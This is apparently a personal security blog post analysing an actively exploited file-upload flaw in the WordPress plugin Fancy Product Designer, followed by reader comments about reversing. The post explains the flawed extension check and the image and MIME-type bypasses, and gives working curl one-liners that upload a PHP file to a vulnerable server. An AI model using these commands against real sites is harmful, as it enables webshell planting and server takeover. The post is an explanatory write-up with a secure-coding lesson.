Today in my web server logs I noticed repeated scans for "fancy-product-designer" - a WordPress plugin which I most definitely don't have installed.
82.165.187.17 - - [22/Jun/2021:20:09:11 +0200] "GET /wp-content/plugins/fancy-product-designer/inc/custom-image-handler.php HTTP/1.1" 404 12664 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 0 0.430 82.165.187.17 - - [22/Jun/2021:20:11:21 +0200] "GET /wp-content/plugins/fancy-product-designer/inc/custom-image-handler.php HTTP/1.1" 404 12664 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 0 0.490 82.165.187.17 - - [22/Jun/2021:21:09:55 +0200] "GET /wp-content/plugins/fancy-product-designer/inc/custom-image-handler.php HTTP/1.1" 404 12664 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 0 0.482 82.165.187.17 - - [22/Jun/2021:21:12:48 +0200] "GET /wp-content/plugins/fancy-product-designer/inc/custom-image-handler.php HTTP/1.1" 404 12664 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 0 0.515
Few Google searches later, I found an article by Wordfence titled "Critical 0-day in Fancy Product Designer Under Active Attack". As usual, all the important details were missing from their article, so I decided to fill-in the gaps. π
Vulnerability details
There are plenty of different ways how to find the vulnerable code. But since the vulnerability is already fixed, the easiest way is to see what code was changed. So, I set out to find a vulnerable version of the plugin and the fixed version.
It turns out, fancy-product-designer\inc\custom-image-handler.php is a full-featured file uploader.
Goddamit, when will people stop adding vulnerable file uploaders to every PHP project?! π‘
The vulnerable code is located in another file - fancy-product-designer\inc\fpd-image-utils.php, function sanitize_filename:
public static function sanitize_filename($filename) { // Forbid Directory Traversal $filename = basename($filename); // Restrict the name to a safe character subset $sanitize_name = preg_replace("/[^a-z0-9\.]/", "", strtolower($filename)); // Block scripts based on their extension $forbidden_extensions = '/ph(p[3457st]?|t|tml|ar)/i'; // php|php3|php4|php5|php7|phps|phpt|pht|phtml|phar if ( preg_match($forbidden_extensions, $filename) ) { throw new Exception("Malicious file detected", 403); ....
Can you see the issue? π If you can't, don't worry, I'll show it later when crafting exploit.
As for the fix, it consists of a single line. Fixed version looks like this:
// Restrict the name to a safe character subset $sanitize_name = $filename = preg_replace("/[^a-z0-9\.]/", "", strtolower($filename));
Crafting exploit
Now that we know where the vulnerability lies, let's see what obstacles attacker needs to overcome to achieve arbitrary file upload...
1) check for file extension.
public static function sanitize_filename($filename) { // Forbid Directory Traversal $filename = basename($filename); // Restrict the name to a safe character subset $sanitize_name = preg_replace("/[^a-z0-9\.]/", "", strtolower($filename)); // Block scripts based on their extension $forbidden_extensions = '/ph(p[3457st]?|t|tml|ar)/i'; // php|php3|php4|php5|php7|phps|phpt|pht|phtml|phar if ( preg_match($forbidden_extensions, $filename) ) { throw new Exception("Malicious file detected", 403); ....
As we already established, sanitize_filename function is/was flawed.
Sanitization will create a new filename $sanitize_name consisting only of lowercase letters, numbers and dots. But forbidden extensions are matched against original filename!
For example, filename evil.p[hp will get "sanitized" to evil.php. However, regex will check evil.p[hp and will not flag that as malicious.
2) check for valid image data.
//check if its an image if( (!getimagesize($file['tmp_name'][0]) && $ext !== 'svg') || !in_array($file['type'][0], $valid_mime_types) ) { die( json_encode(array( 'error' => 'This file is not an image!', 'filename' => $filename )) ); }
PHP function getimagesize is used to verify that uploaded file is actually an image. So, you can't just upload a pure PHP file, it will not be accepted.
Luckily for us, PHP interpreter is very forgiving - it will check the entire file looking for valid <?php tag. So, it's really easy to put PHP code in the image metadata or even after the actual image data.
Files that are valid forms of multiple different file types are called "polyglot files" and they have been known for decades. You can read more about them, for example, in Polyglot Files: a Hackerβs best friend or Hiding Webshell Backdoor Code in Image Files.
Attackers exploiting this vulnerability appended their webshell after the image data:
Crafting polyglot file for this exploit is left as an exercise for the reader.
3) check for mime type
$valid_mime_types = array( "image/png", "image/jpeg", "image/pjpeg", "image/svg+xml", "application/pdf" ); ... //check if its an image if( (!getimagesize($file['tmp_name'][0]) && $ext !== 'svg') || !in_array($file['type'][0], $valid_mime_types) ) { die( json_encode(array( 'error' => 'This file is not an image!', 'filename' => $filename )) ); }
The same line of code also verifies that sent MIME type is one of the whitelisted ones. I have no idea why it's being done, as MIME type has only informational value. And it's trivial to bypass, just instruct curl to send the correct one! π
Putting it all together, we get this one-liner:
curl.exe -F "uploadsDirURL=." -F "uploadsDir=." -F "file[]=@evil.p]hp;type=image/jpeg" "http://{vulnerable_server}/wp-admin/admin-ajax.php?action=fpd_custom_uplod_file"
or, if you prefer to access image uploader directly:
curl.exe -F "uploadsDirURL=." -F "uploadsDir=." -F "file[]=@evil.p]hp;type=image/jpeg" "http://{vulnerable_server}/wp-content/plugins/fancy-product-designer/inc/custom-image-handler.php"
Yes, that's all you need to exploit this vulnerability. π
Key takeaway
If you're writing any sort of code handling user input - do not make your own sanitization routines. You'll most likely fail. Just find whatever methods your framework offers and use those. It's much safer that way.
Have fun and stay safe!
Hello kao , where i can contact you ? via email ?
I'm newbie. Wanna understand the part
-F "file[]=@evil.p]hp;type=image/jpeg"
is it will use the evil.p]hp file in LOCAL disk in current working directory?
Yes, it will.
You can read about CURL parameters in the manual (https://curl.se/docs/manual.html), it's actually really good! π
Thank you, Kao. Your blog is really helpful, one of the best out there.
Hello kao , do you have updates for demoleition ?
Yes I do. I just don't have the time and energy to publish them. :/
Oh! I'm sure you have pretty updates for demoleition π anywys! thank you sir kao and i love you blog!
Hey Kao , can you check this file if it's packed by molebox π
Link below :
{hidden link}
Hi Diezx,
that is a custom wrapper and has nothing to do with Molebox.
ahh, I see. no update in demolition ?
Hello kao,
I was wondering how you would recommend learning reversing and what resources to use.
Hi there,
Every person is different and learns in a different way. Someone prefers to read a PDF, someone needs to watch a video and someone else might need spend time to discover it all himself.
Try different resources from this list: Assembly Language / Reversing / Malware Analysis / Game Hacking -resources and see what works for you.
Hi Kao, Thank you for your reply. I will make sure to try the resources you sent. I saw in an earlier article that you recommended Lena151's tutorials as well. Would you still recommend them as a good resource or are they too outdated?
I don't think I ever recommended Lena's tutorials, quite the opposite. See my post "How to learn RE".
Feel free to try them anyway, they might work for you just fine. π